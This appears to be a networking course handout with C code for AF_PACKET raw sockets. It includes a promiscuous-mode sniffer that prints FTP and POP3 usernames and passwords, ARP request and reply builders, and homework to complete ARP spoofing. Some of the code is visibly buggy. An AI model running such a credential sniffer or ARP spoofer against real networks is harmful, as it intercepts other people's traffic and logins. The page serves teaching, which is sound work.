C LANGUAGE
AF_PACKET
sniff frames
ARP spoofing
Author: WhoAmI
email: kccddb@gmail.com
Date: 20220728
Copyright: CC BY-NC-SA
Learn More →
Learn More →
網路程式 bugs 除不盡春風吹又生-Wireshark幫助您
Learn More →
Learn More →
AF_PACKET 的運用, 這裡找找出 ftp 帳號與密碼, 請勿用於非法用途!(最好別用 AF_INET)
注意 FIXME
See also traceroute source code (busybox)
運用 改變 TTL 的值, 得到回應, 新的 traceroute, 要是 太難, 請找 舊版 的 IPv4 研究
/*
Sinff Ethernet Frame
Educational Purposes!
Do your best to be ethical and respect copyright.
See also maximum transmission unit (MTU)
Author: WhoAmI
2019/02/26
*/
#include <stdio.h>
#include <stdarg.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <signal.h>
#include <net/if.h>
#include <sys/types.h>
#include <netinet/if_ether.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/wait.h>
#include <string.h>
#define IP_PROTOCOL 0x800
#define TCP 06
#define MAXMTU 2048
#define debug(x) x
// gcc Variadic Macros
#define eprintf(...) fprintf (stderr, __VA_ARGS__)
#define oprintf(...) fprintf (stdout, __VA_ARGS__)
#define PANIC(msg) {perror(msg),exit(EXIT_FAILURE);}
static void set_promiscuous_mode( char* interface )
{
int sock;
struct ifreq flags;
sock = socket( PF_INET, SOCK_PACKET, htons( ETH_P_ALL ) );
strcpy( flags.ifr_name, interface );
ioctl( sock, SIOCGIFFLAGS, &flags );
flags.ifr_flags |= IFF_PROMISC;
if(ioctl( sock, SIOCSIFFLAGS, &flags )<0)
{
perror("ioctl");
}
close( sock );
}
static void clear_promiscuous_mode( char* interface )
{
int sock;
struct ifreq flags;
sock = socket( PF_INET, SOCK_PACKET, htons(ETH_P_ALL));
strcpy( flags.ifr_name, interface );
ioctl( sock, SIOCGIFFLAGS, &flags );
flags.ifr_flags &= ~IFF_PROMISC;
if(ioctl( sock, SIOCSIFFLAGS, &flags )<0)
{
perror("ioctl");
}
close( sock );
}
static int findarp(struct ARPhdr *arp)
{
/* DIY */
return 0;
}
static int findtcp(struct tcphdr *tcp)
{
int accept=0;
if(ntohs(tcp->source)==25 ||ntohs(tcp->source)==110 ||ntohs(tcp->source)==21)
{
accept=!0;
}
if(ntohs(tcp->dest)==25 ||ntohs(tcp->dest)==110||ntohs(tcp->dest)==21)
{
accept=!0;
}
return accept;
}
static void display(unsigned char *buf, int len)
{
struct ethhdr *eth= (struct ethhdr *)buf;
struct ARPhdr *arp;
struct iphdr *ip;
struct icmphdr *icmp;
struct udphdr *udp ;
struct tcphdr *tcp;
unsigned char *data;
int header_len;
int data_len;
/****************************************************************************************
FIXME
Depend on Protocol
e.g., PPPoE, ...
****************************************************************************************/
ip = (struct iphdr *)(buf+sizeof(struct ethhdr));
arp = (struct ARPhdr *)((char *)buf+sizeof(struct ethhdr));
tcp = (struct tcphdr *)((unsigned char *)buf + sizeof(struct ethhdr) + (ip->ihl << 2));
icmp = (struct icmphdr *)((unsigned char *)buf + sizeof(struct ethhdr) + (ip->ihl << 2));
udp = (struct udphdr *)(buf + sizeof(struct ethhdr) + (ip->ihl << 2));
if(ntohs(eth->h_proto) != IP_PROTOCOL)return;
//DIY
if(ip->protocol != TCP)return;
if (!findtcp(tcp))return;
//Notice the protocol!
header_len=(tcp->doff)*4;
data=(unsigned char *)tcp+header_len;
data_len=ntohs(ip->tot_len)-header_len-ip->ihl*4;
data[data_len]=0; //FIXME
//demo only
if(data_len>0)
{
if(ntohs(tcp->source) == 21 ||ntohs(tcp->dest) == 21)
{
debug(printf("FTP\n"));
if(strncmp(data,"USER",4)==0 )
{
oprintf("[FTP]");
oprintf("[SADDR:%s] ",inet_ntoa(ip->saddr));
oprintf("[FTP Server:%s] ",inet_ntoa(ip->daddr));
oprintf("%s",data);
}
if(strncmp(data,"PASS",4)==0 )
{
oprintf("PASSWORD :%s\n",data);
}
}
if(ntohs(tcp->source) == 110 ||ntohs(tcp->dest) == 110)
{
if(strncmp(data,"USER",4)==0 )
{
oprintf("[POP3]");
oprintf("[SADDR:%s] ",inet_ntoa(ip->saddr));
oprintf("[Email Server:%s] ",inet_ntoa(ip->daddr));
oprintf("%s\n",data);
}
if(strncmp(data,"PASS",4)==0 )
{
oprintf("PASSWORD :%s\n",data);
}
}
}
}
void sig_alarm(int sig)
{
eprintf("Alarm!\n");
eprintf("clear promiscuous mode...\n\n");
clear_promiscuous_mode( "eth0");
exit(EXIT_SUCCESS);
}
int main(int argc, char *argv[])
{
struct sockaddr saddr;
int sd ,bytes ,len=sizeof(saddr);
unsigned char buf[MAXMTU];
int i;
int timeout=0;
if(argc>1)
{
for(i=1;i<argc;i++)
{
if(strcmp(argv[i],"-t")==0)
{
i++;
timeout=atoi(argv[i]);
}
}
}
if(timeout)
{
printf("Wait %d seconds\n",timeout);
signal(SIGALRM,sig_alarm);
alarm(timeout);
}
sd = socket(AF_PACKET,SOCK_RAW,htons(ETH_P_ALL));
if ( sd < 0 )PANIC("socket");
set_promiscuous_mode( "eth0" );
printf("Go....\n");
for (;;)
{
len = sizeof(saddr);
memset(buf,0,sizeof(buf));
bytes = recvfrom(sd, buf, sizeof(buf), 0, (struct sockaddr *)&saddr, &len);
debug(printf("recv %d bytes\n",bytes));
if ( bytes > 0 )display(buf,bytes);
else break;
}
//請自行補 clear_promiscuous_mode, close
exit(EXIT_SUCCESS);
}
https://en.wikipedia.org/wiki/ARP_spoofing
ARPING
BusyBox, https://busybox.net/
NMAP
https://nmap.org/
https://nmap.org/book/man-bypass-firewalls-ids.html
經常使用錯誤的就是 : sll_ifindex! 這號碼 您可以藉由 <ip addr show> 知道此號碼!
unsigned int if_nametoindex(const char *ifname);
The sockaddr_ll structure is a device-independent physical-layer address.
struct sockaddr_ll {
unsigned short sll_family; /* Always AF_PACKET */
unsigned short sll_protocol; /* Physical-layer protocol */
int sll_ifindex; /* Interface number */
unsigned short sll_hatype; /* ARP hardware type */
unsigned char sll_pkttype; /* Packet type */
unsigned char sll_halen; /* Length of address */
unsigned char sll_addr[8]; /* Physical-layer address */
};
以下只列出 ARP request, Arp reply 請於不妨礙別人的地方實驗
/*
Resolve MAC address
WhoAmI(cddb.tw@gmail.com)
*/
/*-----------------------------------------*/
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>
/*
Using new include files
#include <sys/socket.h>
Using Linklayer Socket
kclai
*/
#include <sys/socket.h>
#include <features.h> /* for the glibc version number */
#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
#include <netpacket/packet.h>
#include <net/ethernet.h> /* the L2 protocols */
#else
#include <asm/types.h>
#include <linux/if_packet.h>
#include <linux/if_ether.h> /* The L2 protocols */
#endif
****
#include <sys/ioctl.h>
#include <signal.h>
#include <net/if.h>
#include <sys/types.h>
#include <netinet/if_ether.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <sys/time.h>
#include <unistd.h>
#include <sys/wait.h>
#include <time.h>
#include <getopt.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
/*
Send ARP request to resolve the MAC address of the gateway.
Remark.
myip and tip are network order
*/
int arp_request(int device_index,int myip,unsigned char *mymac,int tip)
{
struct sockaddr srcaddr;
struct sockaddr dstaddr;
struct sockaddr_in *sip;
int interface_no;
int psd,i;
char empty_dest[ETH_ALEN];
struct mypkt *pkt;
unsigned char *pkt_ptr;
struct sockaddr_ll srcAddr_ll;
int *v;
char dev[40];
char *psip;
psd = socket(PF_PACKET, SOCK_RAW , htons( ETH_P_ARP ) );
/* Create packet */
pkt = (struct mypkt *)malloc(sizeof(struct mypkt));
for(i=0;i<ETH_ALEN;i++) empty_dest[i]=(char) 255;
memcpy( pkt->eth_hdr.h_dest ,empty_dest,sizeof(pkt->eth_hdr.h_dest));
memcpy( pkt->eth_hdr.h_source , mymac ,sizeof( pkt->eth_hdr.h_source ) );
pkt->eth_hdr.h_proto = htons ( ETH_P_ARP );
/* Arp */
pkt->arp_hdr.ea_hdr.ar_hrd = htons( ARPHRD_ETHER );
pkt->arp_hdr.ea_hdr.ar_pro = htons(ETH_P_IP);
pkt->arp_hdr.ea_hdr.ar_hln = 6;
pkt->arp_hdr.ea_hdr.ar_pln = 4;
pkt->arp_hdr.ea_hdr.ar_op = htons( ARPOP_REQUEST );
v=(int *)pkt->arp_hdr.arp_spa;
*v=myip;
memcpy( &pkt->arp_hdr.arp_sha, &pkt->eth_hdr.h_source, sizeof( pkt->eth_hdr.h_source ) );
v=(int *)pkt->arp_hdr.arp_tpa;
*v=tip;
memcpy( &pkt->arp_hdr.arp_tha, &pkt->eth_hdr.h_dest , sizeof( pkt->eth_hdr.h_dest ) );
srcAddr_ll.sll_family=AF_PACKET;
srcAddr_ll.sll_protocol=htons(ETH_P_ARP);
srcAddr_ll.sll_ifindex= device_index;
srcAddr_ll.sll_hatype = ARPOP_REQUEST;
srcAddr_ll.sll_pkttype = PACKET_BROADCAST;
srcAddr_ll.sll_halen = 0;
memset( pkt->padding ,sizeof( pkt->padding ) ,0 );
bind( psd ,(struct sockaddr *)&srcAddr_ll ,sizeof( srcAddr_ll ));
send( psd, pkt , sizeof( struct mypkt ) ,0 );
free(pkt);
close( psd );
}
int arp_reply(int device_index,int myip, unsigned char *mymac,struct ether_arp_k *arp_request )
{
struct sockaddr srcaddr;
struct sockaddr dstaddr;
struct sockaddr_in *sip;
int interface_no;
int psd,i;
char empty_dest[ETH_ALEN];
struct mypkt *pkt;
unsigned char *pkt_ptr;
struct sockaddr_ll srcAddr_ll;
int *v;
psd = socket(PF_PACKET, SOCK_RAW , htons( ETH_P_ARP ) );
/* Create packet */
pkt = (struct mypkt *)malloc(sizeof(struct mypkt));
for(i=0;i<ETH_ALEN;i++) empty_dest[i]=(char) 255;
memcpy( pkt->eth_hdr.h_dest ,arp_request->arp_sha,sizeof(pkt->eth_hdr.h_dest));
memcpy( pkt->eth_hdr.h_source , mymac ,sizeof( pkt->eth_hdr.h_source ) );
pkt->eth_hdr.h_proto = htons ( ETH_P_ARP );
/* Arp */
pkt->arp_hdr.ea_hdr.ar_hrd = htons( ARPHRD_ETHER );
pkt->arp_hdr.ea_hdr.ar_pro = htons(ETH_P_IP);
pkt->arp_hdr.ea_hdr.ar_hln = 6;
pkt->arp_hdr.ea_hdr.ar_pln = 4;
pkt->arp_hdr.ea_hdr.ar_op = htons( ARPOP_REPLY );
memcpy( &pkt->arp_hdr.arp_sha, &pkt->eth_hdr.h_source, sizeof( pkt->eth_hdr.h_source ) );
#if USING_MYIP
v=(int *)pkt->arp_hdr.arp_spa;
*v=myip;
#else
memcpy(pkt->arp_hdr.arp_spa, arp_request->arp_tpa,sizeof( arp_request->arp_tpa));
#endif
memcpy(pkt->arp_hdr.arp_tpa, arp_request->arp_spa,sizeof( arp_request->arp_spa));
memcpy( &pkt->arp_hdr.arp_tha, &pkt->eth_hdr.h_dest , sizeof( pkt->eth_hdr.h_dest ) );
srcAddr_ll.sll_family=AF_PACKET;
srcAddr_ll.sll_protocol=htons(ETH_P_ARP);
srcAddr_ll.sll_ifindex= device_index;
srcAddr_ll.sll_hatype = ARPOP_REPLY;
srcAddr_ll.sll_pkttype = PACKET_BROADCAST;
srcAddr_ll.sll_halen = 0;
// strncpy( pkt->padding ,"This is My Packet" ,sizeof( "This is My Packet" ) );
memset( pkt->padding ,sizeof( pkt->padding ) ,0 );
bind( psd ,(struct sockaddr *)&srcAddr_ll ,sizeof( srcAddr_ll ));
send( psd, pkt , sizeof( struct mypkt ) ,0 );
close( psd );
free(pkt);
}
另一有趣的文章:
Virtual Network Interfaces, by Alessandro Rubini.
ARP reply
/*
20190305
WhoAmI
*/
#include <stdio.h>
#include <string.h>
#include <netinet/in.h>
#ifdef LINUX
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
//#include <net/if.h>
//#include <netinet/if_ether.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <linux/if_arp.h>
#endif
#include <errno.h>
#include <stdio.h>
#include <string.h>
#ifdef LINUX
#include <netinet/in.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
//#include <net/if.h>
//#include <netinet/if_ether.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <linux/if_arp.h>
#endif
#include <errno.h>
struct ether_arp_k {
struct arphdr ea_hdr; /* fixed-size header */
u_int8_t arp_sha[ETH_ALEN]; /* sender hardware address */
u_int8_t arp_spa[4]; /* sender protocol address */
u_int8_t arp_tha[ETH_ALEN]; /* target hardware address */
u_int8_t arp_tpa[4]; /* target protocol address */
};
struct mypkt
{
struct ethhdr eth_hdr;
struct ether_arp_k arp_hdr;
char padding[18];
};
static char *INET_NTOA(in_addr_t ip)
{
struct in_addr in;
in.s_addr=ip;
return inet_ntoa(in);
}
static int print_packet(void *packet)
{
struct ether_arp_k *arp;
unsigned int *v;
unsigned char *p;
int i;
arp=(struct ether_arp_k *)packet;
v=(unsigned int *) &arp->arp_spa;
printf("src=[%s] MAC", INET_NTOA(*v));
p=arp->arp_sha;
for(i=0;i<6;i++,p++)printf(":%02x",*p);
v=(unsigned int *)&arp->arp_tpa;
printf("dst=[%s]", INET_NTOA(*v));
p=arp->arp_tha;
for(i=0;i<6;i++,p++)printf(":%02x",*p);
printf("\n");
}
int arp_reply(char *dev,struct ether_arp_k *arp_request )
{
struct sockaddr srcaddr;
struct sockaddr dstaddr;
struct sockaddr_in *sip;
//struct interface_table *ifp,*ifp_head ;
ether_arp_k *ifp;
int interface_no=2; //must fix it
int psd,i;
char empty_dest[ETH_ALEN];
struct mypkt *pkt;
unsigned char *pkt_ptr;
struct sockaddr_ll srcAddr_ll;
int *v;
psd = socket(PF_PACKET, SOCK_RAW , htons( ETH_P_ARP ) );
/* Create packet */
pkt = (struct mypkt *)malloc(sizeof(struct mypkt));
interface_no=if_nametoindex(dev); //FIX IT!
for(i=0;i<ETH_ALEN;i++) empty_dest[i]=(char) 255;
//set MAC Addresses
memcpy( pkt->eth_hdr.h_dest ,empty_dest,sizeof(pkt->eth_hdr.h_dest));
memcpy( pkt->eth_hdr.h_source , empty_dest ,sizeof( pkt->eth_hdr.h_source ) );
if(arp_request)
memcpy( pkt->eth_hdr.h_dest ,arp_request->arp_sha,sizeof(pkt->eth_hdr.h_dest));
//if(ifp)
// memcpy( pkt->eth_hdr.h_source , ifp->hwaddr.sa_data ,sizeof( pkt->eth_hdr.h_source ) );
pkt->eth_hdr.h_proto = htons ( ETH_P_ARP );
/* Arp */
pkt->arp_hdr.ea_hdr.ar_hrd = htons( ARPHRD_ETHER );
pkt->arp_hdr.ea_hdr.ar_pro = htons(ETH_P_IP);
pkt->arp_hdr.ea_hdr.ar_hln = 6;
pkt->arp_hdr.ea_hdr.ar_pln = 4;
pkt->arp_hdr.ea_hdr.ar_op = htons( ARPOP_REPLY );
memcpy( &pkt->arp_hdr.arp_sha, &pkt->eth_hdr.h_source, sizeof( pkt->eth_hdr.h_source ) );
memcpy(pkt->arp_hdr.arp_spa, arp_request->arp_tpa,sizeof( arp_request->arp_tpa));
memcpy(pkt->arp_hdr.arp_tpa, arp_request->arp_spa,sizeof( arp_request->arp_spa));
memcpy( &pkt->arp_hdr.arp_tha, &pkt->eth_hdr.h_dest , sizeof( pkt->eth_hdr.h_dest ) );
srcAddr_ll.sll_family=AF_PACKET;
srcAddr_ll.sll_protocol=htons(ETH_P_ARP);
srcAddr_ll.sll_ifindex= interface_no;
srcAddr_ll.sll_hatype = ARPOP_REPLY;
srcAddr_ll.sll_pkttype = PACKET_BROADCAST;
srcAddr_ll.sll_halen = 0;
// strncpy( pkt->padding ,"This is My Packet" ,sizeof( "This is My Packet" ) );
memset( pkt->padding ,sizeof( pkt->padding ) ,0 );
bind( psd ,(struct sockaddr *)&srcAddr_ll ,sizeof( srcAddr_ll ));
send( psd, pkt , sizeof( struct mypkt ) ,0 );
#ifdef DEBUG00
printf ("Send ARP Reply....\n");
print_packet(&pkt->arp_hdr);
#endif
close( psd );
free(pkt);
}
main(int argc,char *argv[])
{
int i;
unsigned int rindex;
//rindex = if_nametoindex(argv[i]);
rindex = if_nametoindex("eth0");
for(i=0;i<100;i++){
arp_reply("eth0",NULL);
sleep(1);
}
}
```
Homework:
1. 完成 ARP spoofing
2. 先用 Wireshark 觀察 SMTP, 進而 寫 一程式 可以傳送 e-mail
3. SMTP 也可參考 busybox
4. study BusyBox ether-wake
[5. study traceroute](https://elixir.bootlin.com/busybox/0.60.0/source/networking/traceroute.c)
Authors: CrazyDog, CrazyMonkeyemail: kccddb@gmail.comDate: 20230222
Mar 14, 2025Author: \mathcal{CrazyDog}, Ph.D. in Electrical Engineering, NCTUemail: kccddb@gmail.comDate: 20230910
Nov 4, 2024Author: WhoAmI Date: 20230523 email:kccddb@gmail.com Copyright: CC BY-NC-SA 《荀子‧勸學》不積跬步,無以至千里;不積小流,無以成江海。 I. Mutex variables MUST be declared with type pthread_mutex_t, and must be initialized before they can be used. II. 了解 pthread_mutex_lock / pthread_mutex_unlock 與可能問題和代價 III. 程式執行效率與startvation 等問題
Jul 11, 2024Author: WhoAmIemail: kccddb@gmail.com
Dec 6, 2023or
By clicking below, you agree to our terms of service.
New to HackMD? Sign up